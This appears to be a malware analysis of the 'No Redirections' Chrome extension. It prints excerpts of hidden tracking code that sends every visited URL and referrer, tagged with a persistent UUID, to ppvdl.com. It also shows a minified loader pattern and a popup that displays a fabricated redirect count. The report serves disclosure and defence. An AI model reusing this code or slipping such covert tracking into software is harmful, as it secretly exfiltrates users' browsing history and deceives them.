No Redirections

This content script runs on every page the user visits (<all_urls>) and immediately captures and transmits the full page URL and referrer to the background script. The message type 'new-pv' (new page view) is a telemetry event designed to record every browsing action, sent without user knowledge or consent. The console log 'going to send msg to someotherbg' reveals this is deliberately separate from the extension's stated redirect-blocking functionality.

(function() {  console.log("going to send msg to someotherbg")  chrome.runtime.sendMessage({    msg: 'new-pv',    url: encodeURIComponent(window.location.href),    ref: encodeURIComponent(document.referrer),  });})();

On receipt of every 'new-pv' message (fired for every page the user visits), this handler makes a fetch request to the third-party domain ppvdl.com with a persistent user CID, the full page URL, and referrer. This constitutes covert exfiltration of the user's complete browsing history to an external analytics endpoint. The pid=1112 parameter identifies the extension as a specific publisher/partner in the tracking network.

chrome.runtime.onMessage.addListener(function(e, g, h) {console.log("****************msg");"new-pv" == e.msg && b("https://ppvdl.com/p?pid=1112&ch=0&cid=" + d.cid + "&url=" + c(e.url) + "&ref=" +  c(e.ref));return !0})})()

This code generates or retrieves a persistent UUID (via the function a() which creates a UUID v4) stored in chrome.storage.local. This UUID acts as a permanent cross-session user fingerprint that is transmitted with every page view beacon to ppvdl.com. Users cannot clear this identifier by clearing browser cookies, enabling long-term user tracking.

(function(e) {  if (d && d.cid) return e && e(d), d;  chrome.storage.local.get(function(g) {    var h = {};    g && g.cid ? h = g : (h.cid = a(), chrome.storage.local.set(h));    d = h;    e && e(d);    return d  })})();

The sanitization function c() strips phone numbers and email addresses from URLs before sending to the tracking server. While this appears protective, it actually reveals deliberate engineering around PII compliance — the developer knew they were transmitting user browsing data and added PII scrubbing to reduce legal exposure, confirming the tracking is intentional and systematic rather than accidental.

var d, f = [/\b(?:\d[() -]*?){9,16}\b/g,  /\b[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\b/ig];console.log("****************init");// ...function c(e) {  e += "";  if (/^[\d,a-f]{8}-(?:[\d,a-f]{4}-){3}[\d,a-f]{12}$/i.test(e)) return e;  for (var g = e && e.length || 0, h = 0; h < f.length; h++) f[h].test(e) && (e = e.replace(f[h], "0"));  return e = e && e.substr(0, g) || e}

The tracking payload — including the remote beacon URL ppvdl.com, the UUID generation, the PII scrubbing, and the message listener — is embedded inside a Google Closure Compiler-minified/obfuscated script. The obfuscation makes the tracking logic non-obvious during casual review and significantly harder to audit, which is consistent with an intent to conceal the surveillance functionality from users and reviewers.

var $jscomp = $jscomp || {};$jscomp.scope = {};$jscomp.ASSUME_ES5 = !1;$jscomp.ASSUME_NO_NATIVE_MAP = !1;$jscomp.ASSUME_NO_NATIVE_SET = !1;$jscomp.SIMPLE_FROUND_POLYFILL = !1;$jscomp.ISOLATE_POLYFILLS = !1;$jscomp.FORCE_POLYFILL_PROMISE = !1;$jscomp.FORCE_POLYFILL_PROMISE_WHEN_NO_UNHANDLED_REJECTION = !1;

The background service worker attempts to dynamically import a script named insightVenueBG.js which is not present in the extension package under that name but corresponds functionally to insightVenueBackgroundScript.js. Loading tracking functionality via importScripts with a try-catch allows the extension to silently fail if the script is missing, and provides plausible deniability — the main background.js appears clean while the tracking logic is in an optionally-loaded external script.

try {  importScripts('insightVenueBG.js');} catch (error) {  console.error(error);}

The popup hardcodes the displayed redirection count as 3228 regardless of the actual value stored in chrome.storage.sync, overriding the real value from the callback parameter. This is deceptive UI manipulation — the extension displays a fabricated statistic to users to create a false impression of effectiveness, while the actual tracking and redirect-blocking logic may be secondary to the covert analytics function.

chrome.storage.sync.get('numberOfRedirections', function(obj) {  totalNumberOfRedirectionsStopped.textContent = 3228;});